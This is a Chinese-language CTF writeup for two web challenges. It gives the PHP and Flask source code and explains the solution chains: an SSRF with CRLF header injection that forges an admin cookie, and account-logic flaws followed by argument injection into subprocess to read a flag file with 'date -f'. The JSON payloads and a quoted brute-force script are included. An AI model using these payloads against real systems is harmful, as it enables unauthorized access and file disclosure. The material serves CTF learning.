这次比赛发现一个问题，自己之前的writeup写的不详细看不懂了，所以以后writeup都会写的更加详细
WEB
Image-service
访问www.zip即可拿到源码
index.php:
<!DOCTYPE html>
<style>
img {
width: 100%;
height: 100%;
object-flit: cover;
}
</style>
<html>
<head>
<title>Image Service</title>
</head>
<body>
<?php
function downloadImage($quote) {
$ch = curl_init($quote->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //returntransfer
curl_setopt($ch, CURLOPT_HTTPHEADER, [ // http
"Accept: */*",
"Accept-Encoding: gzip",
"X-From-Author: ".$quote->author // admin\"\r\nSet-Cookie: admin=dHJ1ZQ==
]);
$image = curl_exec($ch);
curl_close($ch);
$encodeImage = base64_encode($image);
return "data:image/png;base64,{$encodeImage}";
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$json = json_decode(file_get_contents('php://input'));
if (strtolower(substr($json->url, 0, 7)) != 'http://' && strtolower(substr($json->url, 0, 8)) != 'https://') {
http_response_code(400);
echo 'url must start with http or https';
exit(1);
}
$image = downloadImage($json);
echo "<h2>Here is a random image for you:</h2>";
echo "<img src='{$image}' />";
}
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
$img_list = ["ex9gwo", "jxyopy", "l83o92"];
$img = $img_list[rand(0, 2)];
$tmp = '{"url": "http://localhost/static/wallhaven-'.$img.'.png","author": "admin"}';
$image = downloadImage (json_decode($tmp));
echo "<h2>Here is a random image for you:</h2>";
echo "<img src='{$image}' />";
}
?>
</body>
</html>
secret.php:
<?php
function isInternal() {
return $_SERVER['REMOTE_ADDR'] == '127.0.0.1';
}
$admin = base64_decode($_COOKIE['admin']);
if (isInternal()) {
if ($admin == 'true') {
echo "Hello admin, here is your flag: " . getenv('FLAG');
} else {
echo "Hello guest, you are not admin";
}
} else {
echo "You are not internal";
}
这题一看downlaodImage函数可以进行ssrf
但是限制了http/https协议，看了下没有想到办法绕过
if (strtolower(substr($json->url, 0, 7)) != 'http://' && strtolower(substr($json->url, 0, 8)) != 'https://') {
http_response_code(400);
echo 'url must start with http or https';
exit(1);
}
然后尝试进行了探测，没有什么东西，看了看secret.php，尝试访问被限制了，只能127.0.0.1才能访问（网上绕过$_SERVER['REMOTE_ADDR'] == '127.0.0.1'的方法基本都是ssrf
function isInternal() {
return $_SERVER['REMOTE_ADDR'] == '127.0.0.1';
}
于是进行ssrf访问
{"url":"http://127.0.0.1/secret.php"}
1.发现还需要携带Cookie值，并且admin=true，并且true需要base64加密
2.继续分析downlaodImage函数，尝试http协议加crlf注入%0a%0d并不行，也不能远程读文件就行重定向操作
(如果有curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);这个就可以远程读取文件实现重定向到gopher协议或者dict协议
0xGame里面有道题目是这样的)
3.发现有.$quote->author可以进行字符串拼接，想到了字符串拼接实现逃逸Cookie的值
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Accept: */*",
"Accept-Encoding: gzip",
"X-From-Author: ".$quote->author
]);
最终payload：
{
"url": "http://127.0.0.1/secret.php",
"author": "admin\"\r\nCookie: admin=dHJ1ZQ=="
}
login
这题是原题（https://ctftime.org/writeup/37931
跟着原题WriteUp分析一波
app.py:
from flask import Flask, request, make_response, render_template, redirect, url_for
import json
from uuid import uuid4 as uuid
from Userdb import UserDB
import subprocess
app = Flask(__name__,
static_url_path='/static',
static_folder='static',)
userdb = UserDB("userdb.json")
userdb.add_user("admin@login.com", 9_001_0001, str(uuid()))
def delete_accs(emails):
for email in emails:
userdb.delete_user(email)
return True
def error_msg(msg):
resp = {
"return": "Error",
"message": msg
}
return json.dumps(resp)
def success_msg(msg):
resp = {
"return": "Success",
"message": msg
}
return json.dumps(resp)
def get_user(request):
auth = request.cookies.get("auth")
if auth is not None:
return userdb.authenticate_user(auth)
return None
def validate_command(string):
return len(string) == 4 and string.index("date") == 0
def api_create_account(data, user):
dt = data["data"]
email = dt["email"] #
password = dt["password"]
groupid = dt["groupid"]
userid = dt["userid"]
if email == "admin@login.com":
return error_msg("cant create admin") #
assert (len(groupid) == 3)
assert (len(userid) == 4)
userid = json.loads("1" + groupid + userid)
if userdb.add_user(email, userid, password):
return success_msg("User Created")
else:
return error_msg("User creation failed")
def api_delete_account(data, user):
if user is None:
return error_msg("not logged in")
if data["data"]["email"] != user["email"]:
return error_msg("Hey thats not your email!")
if delete_accs(data["data"].values()):
return success_msg("deleted account")
def api_edit_account(data, user):
if user is None:
return error_msg("not logged in")
new = data["data"]["email"]
if userdb.change_user_mail(user["email"], new):
return success_msg("Success")
else:
return error_msg("Fail")
def api_login(data, user):
if user is not None:
return error_msg("already logged in")
c = userdb.login_user(data["data"]["email"], data["data"]["password"])
if c is None:
return error_msg("Wrong User or Password")
resp = make_response(success_msg("logged in"))
resp.set_cookie("auth", c)
return resp
def api_logout(data, user):
if user is None:
return error_msg("Already Logged Out")
userdb[user["email"]]["cookie"] = ""
userdb.save_db()
return True
def api_error(data, user):
return error_msg("General Error")
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT) # cmd
return success_msg(out.stdout.decode())
return error_msg("invalid command")
actions = {
"delete_account": api_delete_account,
"create_account": api_create_account,
"edit_account": api_edit_account,
"login": api_login,
"logout": api_logout,
"error": api_error,
"admin": api_admin,
}
@app.route("/json_api", methods=["GET", "POST"])
def json_api():
user = get_user(request)
if request.method == "POST":
data = json.loads(request.get_data().decode())
action = data.get("action")
if action is None:
return "missing action"
return actions.get(action, api_error)(data, user)
else:
return json.dumps(user)
@app.route("/")
def home():
user = get_user(request)
if user is not None:
return redirect(url_for("user"))
return render_template('home.html', title="Home", user=None)
@app.route("/login")
def login():
user = get_user(request)
if user is not None:
return redirect(url_for("user"))
return render_template('login.html', title="Login", user=None)
@app.route("/signup")
def signup():
user = get_user(request)
if user is not None:
return redirect(url_for("user"))
return render_template('signup.html', title="Signup", user=None)
@app.route("/admin")
def admin():
user = get_user(request)
if user is None:
return redirect(url_for("login"))
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return redirect(url_for("user"))
return render_template('admin.html', title="Admin", user=user)
@app.route("/user")
def user():
user = get_user(request)
if user is None:
return redirect(url_for("login"))
is_admin = userdb.is_admin(user["email"])
return render_template('user.html', title="User Page", user=user, is_admin=is_admin)
@app.route("/usersettings")
def settings():
user = get_user(request)
if user is None:
return redirect(url_for("login"))
return render_template('usersettings.html', title="User Settings", user=user)
app.run(host='0.0.0.0', port=5000, debug=False)
Userdb.py:
import json
from uuid import uuid4 as uuid
import hashlib
class UserDB:
def __init__(self, filename):
self.db_file = filename
with open(self.db_file, "r+") as f:
if len(f.read()) == 0:
f.write("{}")
self.db = self.get_data()
def get_data(self):
with open(self.db_file, "r") as f:
return json.loads(f.read())
def save_db(self):
with open(self.db_file, "w") as f:
f.write(json.dumps(self.db))
self.db = self.get_data()
def login_user(self, email, password):
user = self.db.get(email)
if user is None:
return None
if user["password"] == hashlib.sha256(password.encode()).hexdigest():
self.db[email]["cookie"] = str(uuid())
self.save_db()
return self.db[email]["cookie"]
return None
def authenticate_user(self, cookie):
for k in self.db:
dbcookie = self.db[k]["cookie"]
if dbcookie != "" and cookie == dbcookie:
return self.db[k]
return None
def is_admin(self, email):
user = self.db.get(email)
if user is None:
return False
return user["email"] == "admin@login.com" and user["userid"] > 90000000 #
def add_user(self, email, userid, password):
user = {
"email": email,
"userid": userid,
"password": hashlib.sha256(password.encode()).hexdigest(),
"cookie": ""
}
if self.db.get(email) is None:
for k in self.db:
if self.db[k]["userid"] == userid:
return False
else:
return False
self.db[email] = user
self.save_db()
return True
def delete_user(self, email):
if self.db.get(email) is None:
print("user doesnt exist")
return False
del self.db[email]
self.save_db()
return True
def change_user_mail(self, old, new):
user = self.db.get(old)
if user is None:
return False
if self.db.get(new) is not None:
print("account exists")
return False
user["email"] = new
del self.db[old]
self.db[new] = user
self.save_db()
return True
这题逻辑很长，一步一步的来
首先我们分析到api_admin这里
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT) # cmd
return success_msg(out.stdout.decode())
return error_msg("invalid command")
这里的subprocess.run函数应该可以执行shell，但是看到validate又对cmd进行了限制，不管了 我们先进行admin身份伪造
看到路由很多，常规注册admin绕过或者sql注入这些思路不太行，我们先注册一个普通的账户身份(这里和原题有点不一样，这里没有验证码的验证) 我们还是说一下原题在这里的思路吧！！因为原题睡眠了20秒，防止我们爆破这4位密码，我们这里用Superpermutation来匹配验证码，贴一手原题脚本(不懂Superpermutation https://en.wikipedia.org/wiki/Superpermutation
import requests
import random
import threading
base_url = 'https://5ae393509ccec98005d31b00-1024-cybercrime-society-club-germany.challenge.master.camp.allesctf.net:31337'
userid = '8476'
groupid = '001'
email = f'8476@abcde.com'
def make_account(email, password, groupid, userid):
# create a long activation code
activation = '1234567890135791246801470258136959384950162738'
activation += str(reversed(activation))
url = f'{base_url}/json_api'
response = requests.post(url, json={
'action': 'create_account',
'data': {
'email': email,
'password': password,
'groupid': groupid,
'userid': userid,
'activation': activation
}
})
# return None if and only if the account wasn't created
result = response.json()
if 'return' in result:
if result['return'] == 'Error':
if 'message' in result and result['message'] != "Activation Code Wrong":
print('\nUnexpected error in response:', response.text)
return None
else:
return result
return None
print(f'Making account with userid {userid} and email {email}')
found = False
def attempt():
# try to create an account 10 times
# (each try takes 20 seconds)
global found
for try_number in range(10):
if found:
return
result = make_account(email, '1234', groupid, str(userid))
if result is not None:
found = True
print('*', end='', flush=True)
else:
print(try_number, end='', flush=True)
# run one attempt in each 20 threads
num_threads = 20
threads = []
for num_thread in range(num_threads):
thread = threading.Thread(target=attempt)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if found:
print('\nSuccess!')
else:
print('\nFailure')
我们这里的题目直接注册就可以了
然后我们发现注册了，登陆进来，发现除了logout，还有edit_account和delete_account路由可以用
发现delete这里只检测了email是否和当前用户一样，并且是循环遍历删除，我们把admin删掉，自己注册一个，我们这里用一个小小的trick就绕过了
def api_delete_account(data, user):
if user is None:
return error_msg("not logged in")
if data["data"]["email"] != user["email"]:
return error_msg("Hey thats not your email!")
if delete_accs(data["data"].values()):
return success_msg("deleted account")
def delete_accs(emails):
for email in emails:
userdb.delete_user(email)
return True
Userdb.py:
def delete_user(self, email):
if self.db.get(email) is None:
print("user doesnt exist")
return False
del self.db[email]
self.save_db()
return True
绕过payload：
这里的"email":"8476@abcde.com"是我们自己注册的普通用户邮箱，第二个是admin的注册邮箱
{"action":"delete_account","data":{"email":"8476@abcde.com", "other_email": "admin@cscg.de"}}
这里的userid需要大于90000000才可以认证admin
Userdb.py:
def is_admin(self, email):
user = self.db.get(email)
if user is None:
return False
#TODO check userid type etc
return user["email"] == "admin@cscg.de" and user["userid"] > 90000000
def api_create_account(data, user):
# [...]
groupid = dt["groupid"]
userid=dt["userid"]
# [...]
assert(len(groupid) == 3)
assert(len(userid) == 4)
userid = json.loads("1" + groupid + userid)
# [...]
if userdb.add_user(email, userid, password):
# [...]
但是无论我们怎么拼接数字大小都不够，我们想到了科学计数法进行绕过
userid = json.loads("1" + groupid + userid)
>>> json.loads('1'+'000'+'0000') > 90_000_000
False
>>> json.loads('1'+'e10'+' ') > 90_000_000
True
然后我们就来到了最好一步了，实现读取flag
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
# currently only "date" is supported
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return success_msg(out.stdout.decode())
return error_msg("invalid command")
这里限制了data["data"]["cmd"]要进行传递四个值和必须传递第一个值为date，肯定不是直接命令执行这么简单
def validate_command(string):
return len(string) == 4 and string.index("date") == 0
这种方式subprocess.run(args)是有效的，如果args是一个列表，第一个元素将是执行的命令，其余的元素将用作它的命令行参数。我们仍然无法获取flag。我需要阅读该date命令，看看是否可以找到任何要传递的参数来显示该标志，然后我找到了解决方案。首先，我们可以date使用**-f filename**. 但这只用了 3 个元素。我需要一个不需要任何参数的标志，并找到了-u.
$ date --help
Usage: date [OPTION]... [+FORMAT]
or: date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
Display date and time in the given FORMAT.
With -s, or with [MMDDhhmm[[CC]YY][.ss]], set the date and time.
Mandatory arguments to long options are mandatory for short options too.
-d, --date=STRING display time described by STRING, not 'now'
--debug annotate the parsed date,
and warn about questionable usage to stderr
-f, --file=DATEFILE like --date; once for each line of DATEFILE
-I[FMT], --iso-8601[=FMT] output date/time in ISO 8601 format.
FMT='date' for date only (the default),
'hours', 'minutes', 'seconds', or 'ns'
for date and time to the indicated precision.
Example: 2006-08-14T02:34:56-06:00
--resolution output the available resolution of timestamps
Example: 0.000000001
-R, --rfc-email output date and time in RFC 5322 format.
Example: Mon, 14 Aug 2006 02:34:56 -0600
--rfc-3339=FMT output date/time in RFC 3339 format.
FMT='date', 'seconds', or 'ns'
for date and time to the indicated precision.
Example: 2006-08-14 02:34:56-06:00
-r, --reference=FILE display the last modification time of FILE
-s, --set=STRING set time described by STRING
-u, --utc, --universal print or set Coordinated Universal Time (UTC)
--help display this help and exit
--version output version information and exit
最后的过程是这样的
{"action":"admin","data":{"cmd":"date"}}
{"action":"admin","data":{"cmd":["date", "-f", "flag.txt", "-u"]}}
最后拿到flag
评价-如果是原创题目确实挺牛的，很长的逻辑链条，每个逻辑都不难，但是都审计出来，绕过还是需要很多trick的